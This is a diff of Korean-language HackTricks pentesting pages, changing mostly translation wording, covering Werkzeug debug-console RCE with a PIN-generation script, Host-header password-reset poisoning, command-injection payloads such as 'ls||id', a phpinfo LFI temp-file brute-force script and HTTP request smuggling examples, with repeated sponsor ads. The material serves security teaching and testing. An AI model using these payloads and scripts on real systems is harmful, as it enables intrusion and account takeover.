**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
**실제 비즈니스에 영향을 미치는 중요한, 악용 가능한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
|
|
@ -17,13 +17,13 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
|
||||
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요.**
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 공격 표면을 매핑하고 권한 상승을 허용하는 보안 문제를 찾아내며, 필수 증거를 수집하기 위해 자동화된 익스플로잇을 사용하여 귀하의 노력을 설득력 있는 보고서로 전환하는 20개 이상의 맞춤형 도구를 사용하세요.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
## 콘솔 RCE
|
||||
## Console RCE
|
||||
|
||||
디버그가 활성화되어 있으면 `/console`에 접근하여 RCE를 얻으려고 시도할 수 있습니다.
|
||||
```python
|
||||
|
@ -31,7 +31,7 @@ __import__('os').popen('whoami').read();
|
|||
```
|
||||
![](<../../.gitbook/assets/image (117).png>)
|
||||
|
||||
인터넷에는 [이것](https://github.com/its-arun/Werkzeug-Debug-RCE)과 같은 여러 익스플로잇이 있습니다. 또는 메타스플로잇에 있는 익스플로잇도 있습니다.
|
||||
인터넷에는 [이것](https://github.com/its-arun/Werkzeug-Debug-RCE)과 같은 여러 익스플로잇이 있습니다. 또는 메타스플로잇에서 하나를 찾을 수 있습니다.
|
||||
|
||||
## 핀 보호 - 경로 탐색
|
||||
|
||||
|
@ -113,7 +113,7 @@ try:
|
|||
|
||||
모든 필요한 데이터를 수집한 후, 익스플로잇 스크립트를 실행하여 Werkzeug 콘솔 PIN을 생성할 수 있습니다:
|
||||
|
||||
모든 필요한 데이터를 수집한 후, 익스플로잇 스크립트를 실행하여 Werkzeug 콘솔 PIN을 생성할 수 있습니다. 이 스크립트는 조립된 `probably_public_bits`와 `private_bits`를 사용하여 해시를 생성한 다음, 최종 PIN을 생성하기 위해 추가 처리를 수행합니다. 아래는 이 프로세스를 실행하기 위한 Python 코드입니다:
|
||||
모든 필요한 데이터를 수집한 후, 익스플로잇 스크립트를 실행하여 Werkzeug 콘솔 PIN을 생성할 수 있습니다. 이 스크립트는 조합된 `probably_public_bits`와 `private_bits`를 사용하여 해시를 생성한 다음, 최종 PIN을 생성하기 위해 추가 처리를 수행합니다. 아래는 이 프로세스를 실행하기 위한 Python 코드입니다:
|
||||
```python
|
||||
import hashlib
|
||||
from itertools import chain
|
||||
|
@ -159,10 +159,10 @@ rv = num
|
|||
|
||||
print(rv)
|
||||
```
|
||||
이 스크립트는 연결된 비트를 해싱하고 특정 솔트(`cookiesalt` 및 `pinsalt`)를 추가하며 출력을 포맷하여 PIN을 생성합니다. 실제 `probably_public_bits` 및 `private_bits`의 값은 Werkzeug 콘솔에서 예상되는 PIN과 일치하도록 목표 시스템에서 정확하게 얻어야 한다는 점이 중요합니다.
|
||||
이 스크립트는 연결된 비트를 해싱하고 특정 솔트(`cookiesalt` 및 `pinsalt`)를 추가하며 출력을 형식화하여 PIN을 생성합니다. 실제 `probably_public_bits` 및 `private_bits`의 값은 Werkzeug 콘솔에서 예상되는 PIN과 일치하도록 목표 시스템에서 정확하게 얻어야 한다는 점에 유의하는 것이 중요합니다.
|
||||
|
||||
{% hint style="success" %}
|
||||
**오래된 버전**의 Werkzeug를 사용 중이라면 **해싱 알고리즘을 sha1 대신 md5로 변경**해 보세요.
|
||||
**오래된 버전**의 Werkzeug를 사용 중이라면 **해싱 알고리즘을 sha1 대신 md5로 변경**해 보십시오.
|
||||
{% endhint %}
|
||||
|
||||
## Werkzeug 유니코드 문자
|
||||
|
@ -175,7 +175,7 @@ print(rv)
|
|||
|
||||
{% embed url="https://github.com/Ruulian/wconsole_extractor" %}
|
||||
|
||||
## 참고 문헌
|
||||
## 참고자료
|
||||
|
||||
* [**https://www.daehee.com/werkzeug-console-pin-exploit/**](https://www.daehee.com/werkzeug-console-pin-exploit/)
|
||||
* [**https://ctftime.org/writeup/17955**](https://ctftime.org/writeup/17955)
|
||||
|
@ -184,9 +184,9 @@ print(rv)
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
|
||||
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으십시오.**
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 중요한 악용 가능한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 악용을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
**실제 비즈니스에 영향을 미치는 중요한 악용 가능한 취약점을 찾아보고 보고하십시오.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 악용을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하십시오.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
|
|
@ -17,38 +17,38 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
|
||||
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요.**
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
### 호스트 헤더
|
||||
### Host header
|
||||
|
||||
백엔드가 **호스트 헤더**를 신뢰하여 일부 작업을 수행하는 경우가 여러 번 있습니다. 예를 들어, 비밀번호 재설정을 위한 **도메인으로 그 값을 사용할 수 있습니다**. 따라서 비밀번호를 재설정하는 링크가 포함된 이메일을 받으면 사용되는 도메인은 호스트 헤더에 입력한 것입니다. 그러면 다른 사용자의 비밀번호 재설정을 요청하고 도메인을 귀하가 제어하는 것으로 변경하여 그들의 비밀번호 재설정 코드를 훔칠 수 있습니다. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2).
|
||||
백엔드가 **Host header**를 신뢰하여 일부 작업을 수행하는 경우가 여러 번 있습니다. 예를 들어, 비밀번호 재설정을 위한 **도메인으로 그 값을 사용할 수 있습니다**. 따라서 비밀번호를 재설정하는 링크가 포함된 이메일을 받으면 사용되는 도메인은 Host header에 입력한 도메인입니다. 그러면 다른 사용자의 비밀번호 재설정을 요청하고 도메인을 귀하가 제어하는 도메인으로 변경하여 그들의 비밀번호 재설정 코드를 훔칠 수 있습니다. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2).
|
||||
|
||||
{% hint style="warning" %}
|
||||
사용자가 비밀번호 재설정 링크를 클릭할 때까지 기다릴 필요가 없을 수도 있다는 점에 유의하세요. **스팸 필터나 다른 중개 장치/봇이 이를 클릭하여 분석할 수 있습니다.**
|
||||
{% endhint %}
|
||||
|
||||
### 세션 불리언
|
||||
### Session booleans
|
||||
|
||||
때때로 일부 검증을 올바르게 완료하면 백엔드가 **세션의 보안 속성에 "True" 값의 불리언을 추가합니다**. 그런 다음 다른 엔드포인트는 해당 검사를 성공적으로 통과했는지 알 수 있습니다.\
|
||||
그러나 **검사를 통과하고** 세션이 보안 속성에서 "True" 값을 부여받으면, **접근 권한이 없어야 하는** 동일한 속성에 의존하는 **다른 리소스에 접근을 시도할 수 있습니다**. [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a).
|
||||
어떤 경우에는 일부 검증을 올바르게 완료하면 백엔드가 **세션의 보안 속성에 "True"라는 값을 가진 부울을 추가합니다**. 그런 다음 다른 엔드포인트는 해당 검사를 성공적으로 통과했는지 알 수 있습니다.\
|
||||
그러나 **검사를 통과하고** 세션이 보안 속성에 "True" 값을 부여받으면, **접근 권한이 없어야 하는 다른 리소스에 접근을 시도할 수 있습니다**. [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a).
|
||||
|
||||
### 등록 기능
|
||||
### Register functionality
|
||||
|
||||
이미 존재하는 사용자로 등록해 보세요. 또한 동등한 문자(점, 많은 공백 및 유니코드)를 사용해 보세요.
|
||||
이미 존재하는 사용자로 등록해 보세요. 동등한 문자(점, 많은 공백 및 유니코드)를 사용해 보세요.
|
||||
|
||||
### 이메일 인수
|
||||
### Takeover emails
|
||||
|
||||
이메일을 등록한 후, 확인하기 전에 이메일을 변경하세요. 그런 다음, 새 확인 이메일이 첫 번째 등록된 이메일로 전송되면, 어떤 이메일도 인수할 수 있습니다. 또는 두 번째 이메일이 첫 번째 이메일을 확인하도록 활성화할 수 있다면, 어떤 계정도 인수할 수 있습니다.
|
||||
이메일을 등록한 후, 확인하기 전에 이메일을 변경하세요. 그런 다음, 새로운 확인 이메일이 첫 번째 등록된 이메일로 전송되면, 어떤 이메일도 인수할 수 있습니다. 또는 두 번째 이메일이 첫 번째 이메일을 확인하도록 활성화할 수 있다면, 어떤 계정도 인수할 수 있습니다.
|
||||
|
||||
### Atlassian을 사용하는 회사의 내부 서비스 데스크 접근
|
||||
### Access Internal servicedesk of companies using atlassian
|
||||
|
||||
{% embed url="https://yourcompanyname.atlassian.net/servicedesk/customer/user/login" %}
|
||||
|
||||
### TRACE 메서드
|
||||
### TRACE method
|
||||
|
||||
개발자는 프로덕션 환경에서 다양한 디버깅 옵션을 비활성화하는 것을 잊을 수 있습니다. 예를 들어, HTTP `TRACE` 메서드는 진단 목적으로 설계되었습니다. 활성화되면 웹 서버는 `TRACE` 메서드를 사용하는 요청에 대해 수신된 정확한 요청을 응답에 에코하여 응답합니다. 이 동작은 종종 무해하지만 때때로 내부 인증 헤더의 이름과 같은 정보 유출로 이어질 수 있습니다.![Image for post](https://miro.medium.com/max/60/1\*wDFRADTOd9Tj63xucenvAA.png?q=20)
|
||||
|
||||
|
@ -57,7 +57,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
|
||||
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요.**
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
|
||||
|
|
|
@ -17,21 +17,21 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
|
||||
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요**
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
## 명령 주입이란 무엇인가?
|
||||
## Command Injection이란 무엇인가?
|
||||
|
||||
**명령 주입**은 공격자가 애플리케이션을 호스팅하는 서버에서 임의의 운영 체제 명령을 실행할 수 있도록 허용합니다. 그 결과, 애플리케이션과 그 모든 데이터가 완전히 손상될 수 있습니다. 이러한 명령의 실행은 일반적으로 공격자가 애플리케이션의 환경 및 기본 시스템에 대한 무단 접근 또는 제어를 얻을 수 있게 합니다.
|
||||
**command injection**은 공격자가 애플리케이션을 호스팅하는 서버에서 임의의 운영 체제 명령을 실행할 수 있도록 허용합니다. 그 결과, 애플리케이션과 그 모든 데이터가 완전히 손상될 수 있습니다. 이러한 명령의 실행은 일반적으로 공격자가 애플리케이션의 환경 및 기본 시스템에 대한 무단 접근 또는 제어를 얻을 수 있게 합니다.
|
||||
|
||||
### 맥락
|
||||
### Context
|
||||
|
||||
**입력이 주입되는 위치에 따라** 명령을 실행하기 전에 **인용된 맥락을 종료해야 할 수도 있습니다** (`"` 또는 `'` 사용).
|
||||
**입력이 주입되는 위치에 따라** 명령을 실행하기 전에 **인용된 컨텍스트를 종료해야 할 수도 있습니다** (`"` 또는 `'` 사용).
|
||||
|
||||
## 명령 주입/실행
|
||||
## Command Injection/Execution
|
||||
```bash
|
||||
#Both Unix and Windows supported
|
||||
ls||id; ls ||id; ls|| id; ls || id # Execute both
|
||||
|
@ -52,7 +52,7 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful
|
|||
```
|
||||
### **제한** 우회
|
||||
|
||||
리눅스 머신 내에서 **임의의 명령을 실행**하려고 한다면, 이 **우회**에 대해 읽는 것이 좋습니다:
|
||||
리눅스 머신 내에서 **임의의 명령을 실행**하려고 한다면, 이 **우회**에 대해 읽어보는 것이 좋습니다:
|
||||
|
||||
{% content-ref url="../linux-hardening/bypass-bash-restrictions/" %}
|
||||
[bypass-bash-restrictions](../linux-hardening/bypass-bash-restrictions/)
|
||||
|
@ -164,7 +164,7 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
|
||||
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요.**
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
|
||||
|
|
|
@ -15,9 +15,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
|
||||
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요**
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 공격 표면을 매핑하고 권한 상승을 허용하는 보안 문제를 찾아내며, 필수 증거를 수집하기 위해 자동화된 익스플로잇을 사용하여 귀하의 노력을 설득력 있는 보고서로 전환하는 20개 이상의 맞춤형 도구를 사용하세요.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -28,7 +28,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
**튜토리얼 HTB**: [https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s](https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s)
|
||||
|
||||
익스플로잇을 수정해야 합니다 ( **=>**를 **=>**로 변경). 그렇게 하려면 다음과 같이 할 수 있습니다:
|
||||
익스플로잇을 수정해야 합니다 ( **=>**를 **=>**로 변경). 그렇게 하려면 다음을 수행할 수 있습니다:
|
||||
```
|
||||
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\>/g' phpinfolfi.py
|
||||
```
|
||||
|
@ -48,9 +48,9 @@ PHP에서 업로드가 허용되면 파일을 업로드하려고 할 때, 이
|
|||
|
||||
**phpinfo()**
|
||||
|
||||
**PHP**는 **4096B**의 버퍼를 사용하며, 버퍼가 **가득 차면** 클라이언트에 **전송**됩니다. 그런 다음 클라이언트는 **많은 큰 요청**(큰 헤더를 사용하여) **php** 리버스 **쉘을 업로드**하고, **임시 파일의 이름이 있는 phpinfo()의 첫 번째 부분이 반환될 때까지 기다린 후** LFI 취약점을 악용하여 php 서버가 파일을 삭제하기 전에 **임시 파일에 접근**하려고 시도할 수 있습니다.
|
||||
**PHP**는 **4096B**의 버퍼를 사용하며, 버퍼가 **가득 차면** **클라이언트로 전송**됩니다. 그런 다음 클라이언트는 **많은 큰 요청을 보낼 수 있습니다** (큰 헤더를 사용하여) **php** 리버스 **쉘을 업로드하고**, **phpinfo()의 첫 번째 부분이 반환될 때까지 기다린 후** (임시 파일의 이름이 있는 곳) **LFI 취약점을 악용하여 php 서버가 파일을 삭제하기 전에 임시 파일에 접근**하려고 시도합니다.
|
||||
|
||||
**이름을 브루트포스 시도하기 위한 Python 스크립트 (길이 = 6)**
|
||||
**이름을 무작위로 추측하기 위한 Python 스크립트 (길이 = 6)**
|
||||
```python
|
||||
import itertools
|
||||
import requests
|
||||
|
@ -74,7 +74,7 @@ print('[x] Something went wrong, please try again')
|
|||
```
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
|
||||
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요**
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
|
||||
|
|
|
@ -10,22 +10,22 @@ GCP 해킹 배우기 및 연습하기: <img src="../../.gitbook/assets/grte.png"
|
|||
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드 보기
|
||||
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요**
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 치명적이고 악용 가능한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
## 무엇인가
|
||||
|
||||
이 취약점은 **프론트엔드 프록시**와 **백엔드** 서버 간의 **비동기화**로 인해 **공격자**가 HTTP **요청**을 **전송**할 수 있게 되며, 이 요청은 **프론트엔드** 프록시(로드 밸런서/리버스 프록시)에서는 **단일 요청**으로 해석되고 **백엔드** 서버에서는 **2개의 요청**으로 해석됩니다.\
|
||||
이 취약점은 **프론트엔드 프록시**와 **백엔드** 서버 간의 **비동기화**로 인해 **공격자**가 **HTTP 요청**을 **전송**할 수 있게 되며, 이 요청은 **프론트엔드** 프록시(로드 밸런서/리버스 프록시)에서는 **단일 요청**으로 해석되고 **백엔드** 서버에서는 **2개의 요청**으로 해석됩니다.\
|
||||
이로 인해 사용자는 자신의 요청 이후에 백엔드 서버에 도착하는 **다음 요청을 수정**할 수 있습니다.
|
||||
|
||||
### 이론
|
||||
|
@ -46,23 +46,23 @@ GCP 해킹 배우기 및 연습하기: <img src="../../.gitbook/assets/grte.png"
|
|||
### 현실
|
||||
|
||||
**프론트엔드**(로드 밸런서/리버스 프록시)는 _**content-length**_ 또는 _**transfer-encoding**_ 헤더를 처리하고, **백엔드** 서버는 다른 하나를 처리하여 두 시스템 간의 **비동기화**를 유발합니다.\
|
||||
이는 **공격자가 리버스 프록시**에 하나의 요청을 전송할 수 있게 하여 **백엔드** 서버가 이를 **2개의 서로 다른 요청**으로 해석하게 할 수 있으므로 매우 치명적일 수 있습니다. 이 기술의 **위험**은 **백엔드** 서버가 **주입된 2번째 요청**을 **다음 클라이언트**에서 온 것처럼 해석하고, 그 클라이언트의 **실제 요청**이 **주입된 요청**의 **일부**가 된다는 사실에 있습니다.
|
||||
이는 **공격자가 리버스 프록시**에 **하나의 요청을 전송**할 수 있게 하며, 이 요청은 **백엔드** 서버에서 **2개의 서로 다른 요청**으로 해석됩니다. 이 기술의 **위험**은 **백엔드** 서버가 **주입된 2번째 요청**을 **다음 클라이언트**에서 온 것처럼 해석하고, 그 클라이언트의 **실제 요청**이 **주입된 요청**의 **일부**가 된다는 사실에 있습니다.
|
||||
|
||||
### 특이사항
|
||||
|
||||
HTTP에서 **새 줄 문자는 2바이트로 구성됩니다:**
|
||||
|
||||
* **Content-Length**: 이 헤더는 요청 본문의 **바이트 수**를 나타내기 위해 **10진수** 숫자를 사용합니다. 본문은 마지막 문자에서 끝나야 하며, **요청의 끝에 새 줄이 필요하지 않습니다**.
|
||||
* **Content-Length**: 이 헤더는 요청 본문의 **바이트 수**를 나타내기 위해 **10진수** 숫자를 사용합니다. 본문은 마지막 문자에서 끝나는 것으로 예상되며, **요청의 끝에 새 줄이 필요하지 않습니다**.
|
||||
* **Transfer-Encoding:** 이 헤더는 **다음 청크**의 **바이트 수**를 나타내기 위해 본문에서 **16진수** 숫자를 사용합니다. **청크**는 **새 줄**로 **끝나야** 하지만 이 새 줄은 **길이 표시기**에 의해 **계산되지 않습니다**. 이 전송 방법은 **크기 0의 청크**로 끝나야 하며, 그 뒤에 **2개의 새 줄**이 와야 합니다: `0`
|
||||
* **Connection**: 제 경험에 따르면 요청 스머글링의 첫 번째 요청에서 **`Connection: keep-alive`**를 사용하는 것이 좋습니다.
|
||||
|
||||
## 기본 예제
|
||||
|
||||
{% hint style="success" %}
|
||||
이것을 Burp Suite로 악용하려고 할 때 **리피터에서 `Update Content-Length` 및 `Normalize HTTP/1 line endings`를 비활성화하세요**. 일부 도구는 새 줄, 캐리지 리턴 및 잘못된 content-length를 남용합니다.
|
||||
이것을 Burp Suite로 악용하려고 할 때 **`Update Content-Length` 및 `Normalize HTTP/1 line endings`**를 리피터에서 비활성화하세요. 일부 도구는 새 줄, 캐리지 리턴 및 잘못된 content-length를 남용합니다.
|
||||
{% endhint %}
|
||||
|
||||
HTTP 요청 스머글링 공격은 `Content-Length` (CL) 및 `Transfer-Encoding` (TE) 헤더를 해석하는 프론트엔드와 백엔드 서버 간의 불일치를 악용하여 모호한 요청을 전송함으로써 만들어집니다. 이러한 공격은 주로 **CL.TE**, **TE.CL**, 및 **TE.TE** 형태로 나타날 수 있습니다. 각 유형은 프론트엔드와 백엔드 서버가 이러한 헤더를 우선시하는 방식의 고유한 조합을 나타냅니다. 취약점은 서버가 동일한 요청을 서로 다른 방식으로 처리하여 예상치 못한 결과를 초래하는 데서 발생합니다.
|
||||
HTTP 요청 스머글링 공격은 `Content-Length` (CL) 및 `Transfer-Encoding` (TE) 헤더를 해석하는 프론트엔드와 백엔드 서버 간의 불일치를 이용하여 모호한 요청을 전송함으로써 만들어집니다. 이러한 공격은 주로 **CL.TE**, **TE.CL**, 및 **TE.TE**의 형태로 나타날 수 있습니다. 각 유형은 프론트엔드와 백엔드 서버가 이러한 헤더를 우선시하는 방식의 고유한 조합을 나타냅니다. 취약점은 서버가 동일한 요청을 서로 다른 방식으로 처리하여 예상치 못한 결과를 초래하는 데서 발생합니다.
|
||||
|
||||
### 취약점 유형의 기본 예제
|
||||
|
||||
|
@ -72,14 +72,14 @@ HTTP 요청 스머글링 공격은 `Content-Length` (CL) 및 `Transfer-Encoding`
|
|||
이전 표에 TE.0 기술을 추가해야 하며, CL.0 기술과 유사하지만 Transfer Encoding을 사용합니다.
|
||||
{% endhint %}
|
||||
|
||||
#### CL.TE 취약점 (프론트엔드에서 Content-Length 사용, 백엔드에서 Transfer-Encoding 사용)
|
||||
#### CL.TE 취약점 (프론트엔드에서 사용되는 Content-Length, 백엔드에서 사용되는 Transfer-Encoding)
|
||||
|
||||
* **프론트엔드 (CL):** `Content-Length` 헤더를 기반으로 요청을 처리합니다.
|
||||
* **백엔드 (TE):** `Transfer-Encoding` 헤더를 기반으로 요청을 처리합니다.
|
||||
* **공격 시나리오:**
|
||||
* 공격자가 `Content-Length` 헤더의 값이 실제 콘텐츠 길이와 일치하지 않는 요청을 보냅니다.
|
||||
* 공격자는 `Content-Length` 헤더의 값이 실제 콘텐츠 길이와 일치하지 않는 요청을 보냅니다.
|
||||
* 프론트엔드 서버는 `Content-Length` 값을 기반으로 전체 요청을 백엔드로 전달합니다.
|
||||
* 백엔드 서버는 `Transfer-Encoding: chunked` 헤더로 인해 요청을 청크로 처리하여 나머지 데이터를 별도의 후속 요청으로 해석합니다.
|
||||
* 백엔드 서버는 `Transfer-Encoding: chunked` 헤더로 인해 요청을 청크로 처리하며, 나머지 데이터를 별도의 후속 요청으로 해석합니다.
|
||||
* **예제:**
|
||||
|
||||
```
|
||||
|
@ -95,12 +95,12 @@ GET /404 HTTP/1.1
|
|||
Foo: x
|
||||
```
|
||||
|
||||
#### TE.CL 취약점 (프론트엔드에서 Transfer-Encoding 사용, 백엔드에서 Content-Length 사용)
|
||||
#### TE.CL 취약점 (프론트엔드에서 사용되는 Transfer-Encoding, 백엔드에서 사용되는 Content-Length)
|
||||
|
||||
* **프론트엔드 (TE):** `Transfer-Encoding` 헤더를 기반으로 요청을 처리합니다.
|
||||
* **백엔드 (CL):** `Content-Length` 헤더를 기반으로 요청을 처리합니다.
|
||||
* **공격 시나리오:**
|
||||
* 공격자가 청크 크기(`7b`)와 실제 콘텐츠 길이(`Content-Length: 4`)가 일치하지 않는 청크 요청을 보냅니다.
|
||||
